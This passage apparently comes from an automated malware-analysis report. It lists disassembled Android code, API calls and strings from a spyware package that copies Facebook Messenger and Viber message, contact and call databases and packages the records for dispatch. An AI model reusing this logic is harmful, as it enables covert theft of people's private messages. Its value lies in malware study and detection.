                    653invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    654move-result v4
                    655if-eqz v4, :cond_101
                    657invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    658try_end_39b: goto/16 :goto_101
                    659catch_39d: move-exception v4
                    661const-string v5, "RTImo"
                    663invoke-static {v5, v4}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    664goto/16 :goto_101
                    665catchall_3a5: move-exception v4
                    666goto_3a6: if-eqz v12, :cond_3ab
                    667try_start_3a8:
                    668invoke-interface {v12}, Landroid/database/Cursor;->close()V
                    669cond_3ab: if-eqz v5, :cond_3b6
                    671invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    672move-result v6
                    673if-eqz v6, :cond_3b6
                    675invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    676try_end_3b6: throw v4
                    677catch_3b7: move-exception v5
                    679const-string v6, "RTImo"
                    681invoke-static {v6, v5}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    682goto/16 :goto_3b6
                    683catch_3be: move-exception v4
                    685const-string v5, "RTImo"
                    687invoke-static {v5, v4}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    688goto/16 :goto_101
                    689catchall_3c6: move-exception v5
                    690move-object/from16 v24, v5
                    691move-object v5, v4
                    692move-object/from16 v4, v24
                    693goto/16 :goto_3a6
                    694catchall_3cd: move-exception v5
                    695move-object v12, v6
                    696move-object/from16 v24, v5
                    697move-object v5, v4
                    698move-object/from16 v4, v24
                    699goto/16 :goto_3a6
                    700catchall_3d5: move-exception v4
                    701move-object v12, v5
                    702move-object v5, v6
                    703goto/16 :goto_3a6
                    704catch_3d9: move-exception v5
                    705move-object v6, v4
                    706move-object v4, v5
                    707move-object v5, v12
                    708goto/16 :goto_386
                    709catch_3de: move-exception v5
                    710move-object/from16 v24, v5
                    711move-object v5, v6
                    712move-object v6, v4
                    713move-object/from16 v4, v24
                    714goto/16 :goto_386
                    715catch_3e6: move-exception v5
                    716move-object v6, v4
                    717move-object v4, v5
                    718move-object v5, v12
                    719goto/16 :goto_386
                    APIs
                    • net.vkurhandler.df.k:Ljava/lang/String
                    • net.vkurhandler.df.k:Ljava/lang/String
                    • java.io.File.<init>
                    • java.io.File.canRead
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.df.k:Ljava/lang/String
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • net.vkurhandler.df.g:Landroid/content/SharedPreferences
                    • net.vkurhandler.MyApp.a
                    • android.content.SharedPreferences.getLong
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.rawQuery
                    • net.vkurhandler.df.l:Ljava/lang/String
                    • net.vkurhandler.df.l:Ljava/lang/String
                    • java.io.File.<init>
                    • java.io.File.canRead
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.df.l:Ljava/lang/String
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.df.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.df.d:Landroid/content/Context
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • android.database.Cursor.getLong
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • java.lang.String.split
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.rawQuery
                    • android.database.Cursor.moveToNext
                    • android.database.Cursor.close
                    • net.vkurhandler.df.a
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getString
                    • net.vkurhandler.df.a
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getString
                    • net.vkurhandler.df.a
                    • android.database.Cursor.getString
                    • java.lang.String.equals
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • java.lang.String.equals
                    • android.database.Cursor.getString
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • /data/data/com.facebook.orca/databases/threads_db2
                    • 0777
                    • FacebookRT
                    • can read message db copy is
                    • messenger_rt_facebook_last_update_ms
                    • select text,thread_key,timestamp_ms,timestamp_sent_ms > 0 , sender from messages where text NOTNULL and text != \'\' and timestamp_ms >
                    • /data/data/com.facebook.orca/databases/contacts_db2
                    • can read contacts db copy is
                    • :
                    • FACEBOOK:
                    • select name,user_key from thread_users where
                    • user_key = \'
                    • \' or user_key = \'
                    • \'
                    • name
                    • is_me
                    • not_me
                    • type
                    • sub_type
                    • date
                    • message
                    • sender
                    • peer
                    • is_out
                    • dialog_id
                    Position Instruction Meta Information
                    0const/4 v5, 0x0
                    1const/4 v4, 0x0
                    2const/4 v3, 0x0
                    3try_start_3: move-object/from16 v0, p0
                    4iget-wide v6, v0, Lnet/vkurhandler/df;->c:J
                    6invoke-static {v6, v7}, Lnet/vkurhandler/gn;->a(J)V
                    8const-string v2, "/data/data/com.facebook.orca/databases/threads_db2"
                    10sget-object v6, Lnet/vkurhandler/df;->k:Ljava/lang/String;
                    12const-string v7, "0777"
                    14invoke-static {v2, v6, v7}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                    15new-instance v2, Ljava/io/File;
                    17sget-object v6, Lnet/vkurhandler/df;->k:Ljava/lang/String;
                    19invoke-direct {v2, v6}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    21invoke-virtual {v2}, Ljava/io/File;->canRead()Z
                    22move-result v2
                    24invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    25move-result v6
                    26if-eqz v6, :cond_38
                    28const-string v6, "FacebookRT"
                    29new-instance v7, Ljava/lang/StringBuilder;
                    31const-string v8, "can read message db copy is "
                    33invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    35invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                    36move-result-object v7
                    38invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    39move-result-object v7
                    41invoke-static {v6, v7}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    42cond_38: if-eqz v2, :cond_c5
                    44sget-object v2, Lnet/vkurhandler/df;->k:Ljava/lang/String;
                    45const/4 v6, 0x0
                    46const/4 v7, 0x1
                    48invoke-static {v2, v6, v7}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    49move-result-object v5
                    50move-object/from16 v0, p0
                    52iget-object v2, v0, Lnet/vkurhandler/df;->g:Landroid/content/SharedPreferences;
                    54const-string v6, "messenger_rt_facebook_last_update_ms"
                    56invoke-static {}, Lnet/vkurhandler/MyApp;->a()J
                    57move-result-wide v8
                    59invoke-interface {v2, v6, v8, v9}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    60move-result-wide v8
                    61new-instance v2, Ljava/lang/StringBuilder;
                    63const-string v6, "select text,thread_key,timestamp_ms,timestamp_sent_ms > 0 , sender from messages where text NOTNULL and text != \'\' and timestamp_ms > "
                    65invoke-direct {v2, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    67invoke-virtual {v2, v8, v9}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    68move-result-object v2
                    70invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    71move-result-object v2
                    72const/4 v6, 0x0
                    74invoke-virtual {v5, v2, v6}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
                    75move-result-object v3
                    77const-string v2, "/data/data/com.facebook.orca/databases/contacts_db2"
                    79const-string v6, "0777"
                    80const/4 v7, 0x1
                    82invoke-static {v2, v6, v7}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    84const-string v2, "/data/data/com.facebook.orca/databases/contacts_db2"
                    86sget-object v6, Lnet/vkurhandler/df;->l:Ljava/lang/String;
                    88const-string v7, "0777"
                    90invoke-static {v2, v6, v7}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                    91new-instance v2, Ljava/io/File;
                    93sget-object v6, Lnet/vkurhandler/df;->l:Ljava/lang/String;
                    95invoke-direct {v2, v6}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    97invoke-virtual {v2}, Ljava/io/File;->canRead()Z
                    98move-result v2
                    100invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    101move-result v6
                    102if-eqz v6, :cond_9a
                    104const-string v6, "FacebookRT"
                    105new-instance v7, Ljava/lang/StringBuilder;
                    107const-string v10, "can read contacts db copy is "
                    109invoke-direct {v7, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    111invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                    112move-result-object v7
                    114invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    115move-result-object v7
                    117invoke-static {v6, v7}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    118cond_9a: if-eqz v2, :cond_c5
                    120sget-object v2, Lnet/vkurhandler/df;->l:Ljava/lang/String;
                    121const/4 v6, 0x0
                    122const/4 v7, 0x1
                    124invoke-static {v2, v6, v7}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    125move-result-object v4
                    126const/4 v2, 0x0
                    127goto_a5:
                    128invoke-interface {v3}, Landroid/database/Cursor;->moveToNext()Z
                    129move-result v6
                    130if-nez v6, :cond_e1
                    131if-eqz v2, :cond_c5
                    132move-object/from16 v0, p0
                    134iget-object v2, v0, Lnet/vkurhandler/df;->g:Landroid/content/SharedPreferences;
                    136invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    137move-result-object v2
                    139const-string v6, "messenger_rt_facebook_last_update_ms"
                    141invoke-interface {v2, v6, v8, v9}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    142move-result-object v2
                    144invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    145move-object/from16 v0, p0
                    147iget-object v2, v0, Lnet/vkurhandler/df;->d:Landroid/content/Context;
                    149invoke-static {v2}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    150cond_c5: if-eqz v3, :cond_ca
                    151try_start_c7:
                    152invoke-interface {v3}, Landroid/database/Cursor;->close()V
                    153cond_ca: if-eqz v5, :cond_d5
                    155invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    156move-result v2
                    157if-eqz v2, :cond_d5
                    159invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    160cond_d5: if-eqz v4, :cond_e0
                    161try_start_d7:
                    162invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    163move-result v2
                    164if-eqz v2, :cond_e0
                    166invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    167try_end_e0: return-void
                    168cond_e1: const/4 v2, 0x0
                    169try_start_e2:
                    170invoke-interface {v3, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    171move-result-object v11
                    172const/4 v2, 0x1
                    174invoke-interface {v3, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    175move-result-object v12
                    176const/4 v2, 0x2
                    178invoke-interface {v3, v2}, Landroid/database/Cursor;->getLong(I)J
                    179move-result-wide v6
                    180const/4 v2, 0x1
                    182invoke-static {v2, v6, v7}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    183move-result-object v13
                    184const/4 v2, 0x3
                    186invoke-interface {v3, v2}, Landroid/database/Cursor;->getInt(I)I
                    187move-result v2
                    188const/4 v10, 0x1
                    189if-ne v2, v10, :cond_1ee
                    190const/4 v2, 0x1
                    191move v10, v2
                    192goto_ff: const/4 v2, 0x4
                    194invoke-interface {v3, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    195move-result-object v14
                    196cmp-long v2, v6, v8
                    197if-lez v2, :cond_109
                    198move-wide v8, v6
                    199cond_109:
                    200const-string v2, ":"
                    202invoke-virtual {v12, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    203move-result-object v7
                    204new-instance v2, Ljava/lang/StringBuilder;
                    206const-string v6, "FACEBOOK:"
                    208invoke-direct {v2, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    209const/4 v6, 0x1
                    210aget-object v6, v7, v6
                    212invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    213move-result-object v2
                    215invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    216move-result-object v15
                    217new-instance v2, Ljava/lang/StringBuilder;
                    219const-string v6, "FACEBOOK:"
                    221invoke-direct {v2, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    222const/4 v6, 0x2
                    223aget-object v6, v7, v6
                    225invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    226move-result-object v2
                    228invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    229move-result-object v16
                    230const/4 v6, 0x0
                    231const/4 v2, 0x0
                    232new-instance v17, Ljava/lang/StringBuilder;
                    234const-string v18, "select name,user_key from thread_users where "
                    236invoke-direct/range {v17 .. v18}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    238const-string v18, " user_key = \'"
                    240invoke-virtual/range {v17 .. v18}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    241move-result-object v17
                    242move-object/from16 v0, v17
                    244invoke-virtual {v0, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    245move-result-object v17
                    247const-string v18, "\' or user_key = \'"
                    249invoke-virtual/range {v17 .. v18}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    250move-result-object v17
                    251move-object/from16 v0, v17
                    252move-object/from16 v1, v16
                    254invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    255move-result-object v17
                    257const-string v18, "\'"
                    259invoke-virtual/range {v17 .. v18}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    260move-result-object v17
                    262invoke-virtual/range {v17 .. v17}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    263move-result-object v17
                    264const/16 v18, 0x0
                    265move-object/from16 v0, v17
                    266move-object/from16 v1, v18
                    268invoke-virtual {v5, v0, v1}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
                    269move-result-object v17
                    270cond_16a:
                    271invoke-interface/range {v17 .. v17}, Landroid/database/Cursor;->moveToNext()Z
                    272move-result v18
                    273if-nez v18, :cond_1f2
                    274if-eqz v17, :cond_175
                    276invoke-interface/range {v17 .. v17}, Landroid/database/Cursor;->close()V
                    277cond_175: if-nez v2, :cond_191
                    278const/4 v2, 0x2
                    279aget-object v2, v7, v2
                    280move-object/from16 v0, p0
                    282invoke-direct {v0, v4, v2}, Lnet/vkurhandler/df;->a(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
                    283move-result-object v2
                    284if-nez v2, :cond_18d
                    285new-instance v2, Lorg/json/JSONObject;
                    287invoke-direct {v2, v14}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    289const-string v15, "name"
                    291invoke-virtual {v2, v15}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    292move-result-object v2
                    293cond_18d: if-nez v2, :cond_191
                    295const-string v2, "is_me"
                    296cond_191: if-nez v6, :cond_1ad
                    297const/4 v6, 0x1
                    298aget-object v6, v7, v6
                    299move-object/from16 v0, p0
                    301invoke-direct {v0, v4, v6}, Lnet/vkurhandler/df;->a(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
                    302move-result-object v6
                    303if-nez v6, :cond_1a9
                    304new-instance v6, Lorg/json/JSONObject;
                    306invoke-direct {v6, v14}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    308const-string v7, "name"
                    310invoke-virtual {v6, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    311move-result-object v6
                    312cond_1a9: if-nez v6, :cond_1ad
                    314const-string v6, "not_me"
                    315cond_1ad: if-nez v10, :cond_293
                    316goto_1af: const/4 v7, 0x1
                    317move-object/from16 v0, p0
                    319invoke-virtual {v0, v11, v6, v2}, Lnet/vkurhandler/df;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z
                    320move-result v14
                    321if-eqz v14, :cond_1eb
                    323invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    324move-result-object v14
                    326const-string v15, "type"
                    327const/16 v16, 0x1
                    329invoke-virtual/range {v14 .. v16}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    331const-string v15, "sub_type"
                    332const/16 v16, 0xa
                    334invoke-virtual/range {v14 .. v16}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    336const-string v15, "date"
                    338invoke-virtual {v14, v15, v13}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    340const-string v13, "message"
                    342invoke-virtual {v14, v13, v11}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    344const-string v11, "sender"
                    346invoke-virtual {v14, v11, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    348const-string v6, "peer"
                    350invoke-virtual {v14, v6, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    352const-string v2, "is_out"
                    354invoke-virtual {v14, v2, v10}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    356const-string v2, "dialog_id"
                    358invoke-virtual {v14, v2, v12}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    360invoke-static {v14}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;)V
                    361cond_1eb: move v2, v7
                    362goto/16 :goto_a5
                    363cond_1ee: const/4 v2, 0x0
                    364move v10, v2
                    365goto/16 :goto_ff
                    366cond_1f2: if-nez v6, :cond_20b
                    367const/16 v18, 0x1
                    369invoke-interface/range {v17 .. v18}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    370move-result-object v18
                    371move-object/from16 v0, v18
                    373invoke-virtual {v0, v15}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    374move-result v18
                    375if-eqz v18, :cond_20b
                    376const/4 v6, 0x0
                    377move-object/from16 v0, v17
                    379invoke-interface {v0, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    380move-result-object v6
                    381goto/16 :goto_16a
                    382cond_20b: if-nez v2, :cond_16a
                    383const/16 v18, 0x1
                    385invoke-interface/range {v17 .. v18}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    386move-result-object v18
                    387move-object/from16 v0, v18
                    388move-object/from16 v1, v16
                    390invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    391move-result v18
                    392if-eqz v18, :cond_16a
                    393const/4 v2, 0x0
                    394move-object/from16 v0, v17
                    396invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    397try_end_223: move-result-object v2
                    398goto/16 :goto_16a
                    399catch_226: move-exception v2
                    400try_start_227:
                    401const-string v6, "FacebookRT"
                    403invoke-static {v6, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    404try_end_22c: if-eqz v3, :cond_231
                    405try_start_22e:
                    406invoke-interface {v3}, Landroid/database/Cursor;->close()V
                    407cond_231: if-eqz v5, :cond_23c
                    409invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    410move-result v2
                    411if-eqz v2, :cond_23c
                    413invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    414cond_23c: if-eqz v4, :cond_e0
                    415try_start_23e:
                    416invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    417move-result v2
                    418if-eqz v2, :cond_e0
                    420invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    421try_end_247: goto/16 :goto_e0
                    422catch_249: move-exception v2
                    424const-string v3, "FacebookRT"
                    426invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    427goto/16 :goto_e0
                    428catch_251: move-exception v2
                    430const-string v3, "FacebookRT"
                    432invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    433goto/16 :goto_23c
                    434catchall_258: move-exception v2
                    435if-eqz v3, :cond_25e
                    436try_start_25b:
                    437invoke-interface {v3}, Landroid/database/Cursor;->close()V
                    438cond_25e: if-eqz v5, :cond_269
                    440invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    441move-result v3
                    442if-eqz v3, :cond_269
                    444invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    445try_end_269: if-eqz v4, :cond_274
                    446try_start_26b:
                    447invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    448move-result v3
                    449if-eqz v3, :cond_274
                    451invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    452try_end_274: throw v2
                    453catch_275: move-exception v3
                    455const-string v5, "FacebookRT"
                    457invoke-static {v5, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    458goto/16 :goto_269
                    459catch_27c: move-exception v3
                    461const-string v4, "FacebookRT"
                    463invoke-static {v4, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    464goto/16 :goto_274
                    465catch_283: move-exception v2
                    467const-string v3, "FacebookRT"
                    469invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    470goto/16 :goto_d5
                    471catch_28b: move-exception v2
                    473const-string v3, "FacebookRT"
                    475invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    476goto/16 :goto_e0
                    477cond_293: move-object/from16 v19, v6
                    478move-object v6, v2
                    479move-object/from16 v2, v19
                    480goto/16 :goto_1af
                    APIs
                    • java.io.File.<init>
                    • java.io.File.canRead
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.dq.g:Landroid/content/SharedPreferences
                    • net.vkurhandler.MyApp.a
                    • android.content.SharedPreferences.getLong
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • net.vkurhandler.dq.k:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.dq.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.dq.d:Landroid/content/Context
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • net.vkurhandler.dq.l:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.getString
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • android.database.Cursor.getLong
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • net.vkurhandler.dq.b
                    • net.vkurhandler.dq.a
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.dq.l
                    • net.vkurhandler.dq.a
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • net.vkurhandler.dq.a
                    • net.vkurhandler.dq.a
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • net.vkurhandler.dq.b
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.dq.l
                    • net.vkurhandler.dq.b
                    • net.vkurhandler.dq.a
                    • java.lang.String.equals
                    • net.vkurhandler.dq.h:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.dq.a
                    • net.vkurhandler.dq.a
                    • net.vkurhandler.dq.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.dq.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.dq.d:Landroid/content/Context
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • /data/data/com.viber.voip/databases/viber_messages
                    • RTViber
                    • can read message db copy is
                    • messenger_rt_viber_last_update_ms
                    • messages
                    • status != 0 AND (extra_mime = \'text\' OR extra_mime = \'call\') AND date >
                    • status != 0 AND msg_date >
                    • text
                    • 0
                    • type
                    • date
                    • message
                    • sub_type
                    • sender
                    • peer
                    • is_out
                    • dialog_id
                    • 1002
                    • messenger_rt_viber_transmit_call
                    • call_type
                    • phone_number
                    • name
                    • duration
                    • call_id
                    • bat_level
                    • charger
                    Position Instruction Meta Information
                    0move-object/from16 v0, p0
                    1iget-wide v2, v0, Lnet/vkurhandler/dq;->c:J
                    3invoke-static {v2, v3}, Lnet/vkurhandler/gn;->a(J)V
                    4const/4 v3, 0x0
                    5const/4 v10, 0x0
                    6try_start_9: new-instance v2, Ljava/io/File;
                    8const-string v4, "/data/data/com.viber.voip/databases/viber_messages"
                    10invoke-direct {v2, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    12invoke-virtual {v2}, Ljava/io/File;->canRead()Z
                    13move-result v2
                    15invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    16move-result v4
                    17if-eqz v4, :cond_2e
                    19const-string v4, "RTViber"
                    20new-instance v5, Ljava/lang/StringBuilder;
                    22const-string v6, "can read message db copy is "
                    24invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    26invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                    27move-result-object v5
                    29invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    30move-result-object v5
                    32invoke-static {v4, v5}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    33cond_2e: move-object/from16 v0, p0
                    35iget-object v4, v0, Lnet/vkurhandler/dq;->g:Landroid/content/SharedPreferences;
